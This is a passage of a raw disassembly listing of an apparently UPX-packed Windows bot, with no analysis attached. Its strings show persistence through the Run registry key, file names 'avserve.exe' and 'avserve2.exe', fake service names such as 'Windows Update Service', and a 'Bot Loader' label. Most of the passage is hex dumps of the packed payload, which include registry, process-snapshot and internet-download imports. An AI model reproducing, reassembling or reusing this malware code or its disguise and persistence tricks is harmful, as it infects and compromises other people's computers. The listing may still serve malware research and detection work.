'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_314221C4+23o ; sub_314229E6+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_314221C4+1Co ; sub_31422A9B+87o ... align 10h aFgnsdrjyrsert db 'fgnsdrjyrsert',0 ; DATA XREF: sub_314215C7+4Fo ; sub_31422B67+57o ... align 10h dd 2 dup(0) aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31422B67+32o aClient db 'Client',0 ; DATA XREF: sub_31422B67+BCo ; sub_31422B67+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31422B67+37o ; sub_31422B67+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_314229E6+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_314229E6+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_314229E6+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_314229E6+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_314229E6+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_314229E6+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_314229E6+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_314229E6+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_314229E6+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_314229E6+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_314229E6+Fo align 4 a1: ; DATA XREF: sub_31422B67+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31424FE8 dd 0 ; sub_314221C4+80w dword_31424FEC dd 0 ; sub_314216A2+53o ... dword_31424FF0 dd 0 ; sub_3142207E:loc_3142212Cr ... dword_31424FF4 dd 68h ; UPX0:3142235Cw ... dword_31424FF8 dd 0 ; sub_314223B2+CEw dword_31424FFC dd 0 ; sub_31422712+20r dword_31425000 dd 31420000h ; UPX0:31422341w dword_31425004 dd 0 ; sub_314216A2+4Ao ... dword_31425008 dd 0 ; UPX0:314227C1w word_3142500C dw 0 ; DATA XREF: sub_3142255F+3Br ; sub_314225C3:loc_31422624r ... align 10h dword_31425010 dd 0 ; sub_31422B67+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31426000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31426000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31427BB1o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h dd 65636F72h, 1007373h, 50746547h, 41636F72h, 65726464h dd 1007373h, 64616F4Ch, 7262694Ch, 41797261h, 72570100h dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h dd 72457473h, 726F72h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 72747301h, 726863h, 0E900h dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 10000h, 13C00h, 73FF00h, 0FF0002FFh, 1FF000Dh, 39FF00h dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h dd 10FF00h, 0FF0016FFh, 3, 50000000h, 4C000045h, 0C8000201h dd 40D859h, 0 dd 0E0000000h, 0B010F00h, 601h, 26h, 12h, 34000000h, 23h dd 10h, 40h, 314200h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 60h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 34000000h, 8C00002Dh, 15h dup(0) dd 7C000010h, 1, 5 dup(0) dd 2E000000h, 74786574h, 56000000h, 24h, 10h, 26h, 4, 2 dup(0) dd 20000000h, 2EE00400h, 61746164h, 14000000h, 10h, 40h dd 10h, 2Ah, 2 dup(0) dd 40000000h, 0C00000h, 3C000050h, 0C300002Fh, 0A1000054h dd 89254BBEh, 0DB43AA85h, 0AEF070A0h, 92A2047Dh, 4EC00F3Ch dd 27BE81Ch, 8402F26Ah, 47FC7D1Bh, 0F0024A19h, 0A033E402h dd 2164868h, 0D2B735D7h, 0A73D7D03h, 769F6801h, 36E6CCE6h dd 3A4A2064h, 1B5AB7CCh, 0DC87B734h, 6A7684E0h, 96F42A70h dd 0E6C8E38Ch, 5EC86080h, 7A97640Ah, 273E1B25h, 0A2280084h dd 364B003Fh, 3CD9B96Bh, 98B9B26Ch, 0E477BDE2h, 0DC016754h dd 317E500Fh, 0C777C3E4h, 0AC683B0Dh, 0D328C00Dh, 0B138CEDCh dd 0E56F08C9h, 0DB0C7A04h, 0D2484522h, 0DD2DC5F8h, 0D61B212Fh dd 402EDB1Ch, 67012DEh, 4C9039ECh, 40BCF844h, 0C27190D6h dd 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh, 67E9ACF9h dd 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h, 1CF25B07h dd 96F41276h, 899DE9C3h, 940AEF65h, 7BC87C6Ah, 64B1E3C3h dd 0C9BE490Ch, 991DD97Bh, 90E154E4h, 8C9FE924h, 0DCCCC349h dd 0CF78242Eh, 2C8248EDh, 0F864052Ch, 66F4150Ch, 3319A002h dd 8707A23h, 8F895E74h, 0F4C6DD0Eh, 1C51CC5Fh, 80B3EF9Ch dd 7F24E4A1h, 5A435A8h, 0B5D0781Bh, 571282F8h, 5A745737h dd 0ACBF931h, 74F80E14h, 9A0684Bh, 0CA28B753h, 2D3D74CEh dd 67ED85C9h, 0A0412069h, 0FFC55FFh, 35BAB9E8h, 50E49ED7h dd 0E9628ACh, 5B3002F0h, 5547BF4Dh, 8C0009F8h, 681583E4h dd 0F475583Bh, 1887EE42h, 851321C5h, 0A90A508Bh, 0BFF77FB6h dd 3C418B2Fh, 68C10357h, 488B4D2Ch, 50788B34h, 0A0F44D89h dd 0EE062AB4h, 1C68D84Bh, 5D97D81Bh, 0F0F559AAh, 868D201h dd 0C18DEC12h, 0ED74C3B1h, 1110D70Dh, 0F46F0E82h, 1409B26Ah dd 0F84DF123h, 91762C51h, 18185085h, 892A6897h, 6C54A0E9h dd 0CA405DB0h, 46C0ED03h, 0EB346B63h, 9AAB1930h, 596ED578h dd 37DF055h, 0AB6745E6h, 0F03EDD4Bh, 53503151h, 9E0AC1Eh dd 0F435C4F7h, 17FAD6BDh, 3FEA6D6Ah, 5577D0F1h, 74C73BECh dd 1BEB5805h, 5AE57E17h, 25348CBFh, 5FC0E59h, 36E7345Fh dd 740807EBh, 0E1FC58EFh, 5F521E86h, 602F5151h, 0B269310Fh dd 5C91A144h, 0BAB8250Dh, 0DD20DB42h, 0B213B1AFh, 1133AEECh dd 2D590FEBh, 0B66AF9C2h, 99EDC4B1h, 0C803CBCh, 1450A850h dd 7D2774D6h, 5DC02C50h, 4459FC19h, 437C20BAh, 247C8B57h dd 0A5C58314h, 7E11D25Ah, 641A8717h, 803FFFF5h, 148861C2h dd 0F73B461Eh, 2480E97Ch, 0C68C003Bh, 54D5D6DBh, 5F2E448Bh dd 5657AC5Ah, 30181DDBh, 2F216674h, 8896DC73h, 50F02EEDh dd 565019h, 3C3ACAAh, 9577E134h, 49F44DC4h, 8F6B6E8Ch dd 0F00CFA68h, 0C908C7FFh, 349B6996h, 2E2ACC34h, 99AD734Ch dd 0A0A75EDh, 1A20BC50h, 3E160118h, 7C654A1h, 13B7FB8h dd 0ADF1CE74h, 8B0C407Dh, 51080100h, 5F24448Dh, 9B613421h dd 0D31130C5h, 74245903h, 7F84EE8h, 7BBCC15h, 662FC820h dd 3333C7FBh, 0C1F8C8E4h, 0B8510E7h, 4679B0D4h, 8B0200B6h dd 33125Dh, 0F3702647h, 19DC201h, 53C4EAC9h, 0A311E3C6h dd 0F2B57B35h, 0C3255035h, 26B69D83h, 0ADE74880h, 40666CB5h dd 41F0179Eh, 0BB683595h, 98CEE331h, 0B76C683Dh, 474FF044h dd 19B1606Ch, 0A54D54FEh, 2CC5D314h, 7C54DADCh, 0FC0DFE00h dd 33A134BAh, 2B7900B9h, 72C13BC7h, 72C18B02h, 0E1EBB76Fh dd 0E8A1292Bh, 23C70318h, 0FE25A3ACh, 233DCC96h, 786A1172h dd 0DA3140F8h, 0C4EB3C28h, 7750E113h, 6CF64F26h, 941ED411h dd 0CD3C6815h, 0BEE4D62h, 97386803h, 9D663E3Ch, 54533AB5h dd 0D0835253h, 8C47E0B1h, 4C29824h, 136D8223h, 0E643098h dd 0E8D0B1F7h, 8C316D4h, 0BBEE4E29h, 89574377h, 80686806h dd 27841D89h, 5D4F7E18h, 14EC6DA2h, 0F2D4C0h, 0C1345391h dd 27B6B6Ch, 80EB3A01h, 9AD468E6h, 1A4DFD77h, 0B34A3678h dd 0DCCD2F74h, 677A5EA3h, 0A3650C75h, 53FCA4FEh, 1AD9D251h dd 3A865613h, 0DC3E68D8h, 2656D88Ch, 58195EF9h, 0F8DA6A12h dd 5E0510C2h, 0EF4B56C0h, 0C6697A4h, 0EC5D89E8h, 0DFFF050Dh dd 25EDF760h, 3A041FFFh, 43FCA3C3h, 8A1FE774h, 5FC984CCh dd 74E849BDh, 0EA6B50DFh, 64405F42h, 0A51985BAh, 440C6465h dd 2BE9AFA3h, 14F85F7Bh, 9E481FD8h, 0FACEADECh, 15207E68h dd 0E2EB624Eh, 5CC1CF53h, 455FE142h, 0AC019043h, 70661D7Bh dd 0B0333CAEh, 0D30711D6h, 23EDB43h, 803AD6E6h, 9B0D0AF9h dd 0ABB068B4h, 74E063A3h, 822B01D8h, 0F4A37B7Ch, 8609D9FBh dd 0B73DE4CDh, 29E04552h, 0EECDF670h, 1904640Dh, 68631BE2h dd 0EC1323B2h, 5C344FB5h, 1386EB13h, 0B06099AEh, 3569FB1Ah dd 397044F8h, 90252C40h, 0D2908F93h, 70CDC864h, 90458C13h dd 9406EF5Ch, 72391C54h, 9C4C98E4h, 0A43CA044h, 47239134h dd 0AC2CA88Eh, 391CB024h, 0B4C8E472h, 0BC14B818h, 9F0CC010h dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h, 415C0376h dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h, 0B02B39DFh dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h, 838506Ah dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh, 968160C8h dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h, 25270055h dd 5ACE5903h, 40C520Ah, 9262CF20h, 28AF5D0Ch, 89E2B701h dd 21DE53C3h, 948E694Eh dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h, 281D146Ch dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h, 0CF203BD0h dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh, 4804C1FEh dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch, 0D91B1C8h dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h, 8BB38163h dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h, 0E26EE66h dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah, 0B6413BBBh dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh dd 1B1FDBEh, 2BEC7317h, 0CC48BC8h, 88BE18Bh, 0B5B236EAh dd 4353A302h, 45055C64h, 58363605h, 0A2000049h, 0F1022C02h dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh, 0F501018Fh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh, 8EE434h dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh, 0BEF6FD47h dd 276266Dh, 76742E7Ah, 6F74111Bh, 856E2E70h, 178C2D80h dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h, 0F6EDF862h dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h, 4E4D4C4Bh dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h, 74746823h dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch dd 46302C06h, 7889934h, 0EBEDE247h, 0E8342FF7h, 7EDAE80Ah dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh, 0F931C96h dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h, 0F19DF3EDh dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h, 0ED6F6D9Fh dd 0C850B2h, 57DC1499h, 4E122555h, 0DFECC0A4h, 1291EDDEh dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h, 5F37F776h dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h, 0BEB78190h dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh, 0A95D914h dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah, 0DB9BAB9Eh dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh, 0BB6F6EDBh dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h, 31204D41h dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh, 0B75BB696h dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h, 5EDEC874h dd 901306Ch, 3500398Ch, 0DCC06C23h, 72E1D96h, 32ABDA00h dd 889CF20h, 3B57DA20h, 9F4C9383h, 46F20003h, 0C1901E23h dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h, 48E088h dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h dd 6DFF20F6h, 0FF1640h, 0E00DEDEh, 19F1600h, 9BF2602h dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh, 5D6DCF54h dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh, 0B10C3919h dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h dd 2FE409CFh, 230EFEFFh dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h, 0B801FFEEh dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h, 700118D8h dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h dd 0C0A6DB20h, 7250CAh, 39014446h, 3C844FC9h, 123C6B32h dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h, 0E4FF071Ch dd 44655300h, 67756265h, 0FA377669h, 67853518h, 6A6441A7h dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h, 0BF6D7075h dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h, 284158DBh dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h, 48F46897h dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h, 9F4B010Ah dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h, 8EA9EE2Fh dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h, 909A3233h dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h, 7264736Eh dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h, 6D1B1358h dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 0EC01388Ch dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h, 978A5F87h dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh, 0A956372h dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h, 0D9B9E144h dd 8D225AC3h, 